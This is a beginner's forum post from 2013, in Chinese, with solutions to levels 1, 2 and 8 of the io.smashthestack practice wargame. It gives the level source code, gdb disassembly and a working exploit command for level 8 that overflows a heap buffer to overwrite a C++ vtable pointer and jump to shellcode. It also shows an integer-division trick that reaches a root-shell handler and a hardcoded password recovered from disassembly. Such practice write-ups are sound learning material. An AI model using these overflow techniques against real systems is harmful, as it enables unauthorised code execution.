首页
社区
课程
招聘
[旧帖] 新人菜鸟的Smash The Stack IO学习笔记 0.00雪花
发表于: 2013-2-23 12:47 1983

[旧帖] 新人菜鸟的Smash The Stack IO学习笔记 0.00雪花

2013-2-23 12:47
1983
大家好
注册了看雪论坛很久,但是最近才开始好好学习相关技术…
这回,为了熟悉一些基本的Linux操作,我开始慢慢爬io.smashthestack上的游戏

我打算将过关历程记录下来,正好可以表示一个菜鸟慢慢成长的历程

关于这类的Wargame,对于大虾们来说,一定很简单吧,所以就不再介绍了

今天我玩到了第8关,第8关的源程序是一个C++的程序:


// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>

class Number
{
        public:
                Number(int x) : number(x) {}
                void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
                virtual int operator+(Number &r) {return number + r.number;}
        private:
                char annotation[100];
                int number;
};

int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}


这是我玩过的关卡里面第一个出现C++的。我不太清楚C++与汇编程序应该如何联系起来,但是通过看汇编程序,发现了如此现象:


(省略很多字)
0x08048720 <main+140>:  mov    0x1c(%esp),%eax // 0x1c(%esp)=0x0804a078
0x08048724 <main+144>:  mov    (%eax),%eax // (0x0804a078)=0x080488c8
0x08048726 <main+146>:  mov    (%eax),%edx
0x08048728 <main+148>:  mov    0x18(%esp),%eax
0x0804872c <main+152>:  mov    %eax,0x4(%esp)
0x08048730 <main+156>:  mov    0x1c(%esp),%eax
0x08048734 <main+160>:  mov    %eax,(%esp)
0x08048737 <main+163>:  call   *%edx


经过试验,在main+146指令执行之前,eax的值一直是0x804a078。而其正好是在0x0804a00c(annotation的开始之处)之后的108字节处。所以这有可能是某个函数表的地址(因为要将它的值传给EDX)。在正常情况下0x0804a078中存放值应当是0x80487e2,是加号运算符的地址。
(gdb) si
0x080487e2 in Number::operator+(Number&) ()
所以,如果将这个值换掉,就成了。

------------------------------------
最后破关的时候,用的是这么一个命令:

./level08 $(python -c "print '\x0f\xf9\xff\xbf'*27+'\x0C\xA0\x04\x08'")


后面的0x0804a00c是堆栈溢出,覆盖了0x0804a078中存放的值,将其改为了我字符串开始地址0x0804a00c。而字符串的内容是在环境变量中的shellcode的开始地址加上一点偏移量(以防止SIGILL)。



------------------------------------
第二关
这一关有提供源程序,如下所示。


//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}


可知程序安装了一个Signal Handler,抓取SIGFPE。
在维基百科上有写道,“将整数除以0会引发SIGFPE;将最小的整数除以负一时也会引发SIGFPE”(这里:http://zh.wikipedia.org/zh/SIGFPE
因为程序里有检查argv[2]转为整数之后不能为0,所以第一种触发SIGFPE的方法不能用;所以只能用第二种。输入最小的整数与负一就过关了。

------------------------------------
最简单的第一关

第一关没有提供源码,只提供了一个可执行文件,当执行之后会显示请输入密码。
既然没有源文件,又要提示密码,那么有可能作者将密码直接写入了可执行文件里面。
用gdb打开可执行文件,将其反编译一下,就发现了密码存在一个名为pass的函数之内:

Dump of assembler code for function pass:
0x0804852d <pass+0>:        push   %ebp
0x0804852e <pass+1>:        mov    %esp,%ebp
0x08048530 <pass+3>:        sub    $0x4,%esp
0x08048533 <pass+6>:        movl   $0x8049140,-0x4(%ebp)
0x0804853a <pass+13>:        movl   $0x53,0x8049140
0x08048544 <pass+23>:        movl   $0x65,0x8049144
0x0804854e <pass+33>:        movl   $0x63,0x8049148
0x08048558 <pass+43>:        movl   $0x72,0x804914c
0x08048562 <pass+53>:        movl   $0x65,0x8049150
0x0804856c <pass+63>:        movl   $0x74,0x8049154
0x08048576 <pass+73>:        movl   $0x50,0x8049158
0x08048580 <pass+83>:        movl   $0x57,0x804915c
0x0804858a <pass+93>:        movl   $0x0,0x8049160
0x08048594 <pass+103>:        leave  
0x08048595 <pass+104>:        ret   
End of assembler dump.

对照ASCII码表,可知上述字串的内容是“SecretPW”。

就完成了。

------------------------------------

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 63
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我也刚开始玩, 目前到level4
2013-7-12 14:20
0
游客
登录 | 注册 方可回帖
返回
//